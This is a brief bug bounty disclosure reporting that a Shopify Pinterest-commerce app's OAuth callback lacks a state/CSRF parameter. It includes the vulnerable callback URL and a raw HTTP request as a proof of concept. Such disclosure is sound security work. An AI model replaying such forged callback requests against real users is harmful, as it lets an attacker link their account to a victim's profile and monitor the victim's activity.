Attach Pinterest account - no State/CSRF parameter in Oauth Call back

How it was found

Hello

There is no csrf protection for oauth call backs to attach a pinterest account. An attacker can escalate this to attach his account with the victims profile and monitor his activities.

Vulnerable URL: https://pinterest-commerce.shopifyapps.com/auth/pinterest/callback?code=fe373552c348b50000b4951184e86224ddde63c4

Vulnerable request:

GET /auth/pinterest/callback?code=fe373552c348b50000b4951184e86224ddde63c4 HTTP/1.1
Host: pinterest-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.pinterest.com
Cookie: <redacted>
Connection: keep-alive

Regards, WeSecureApp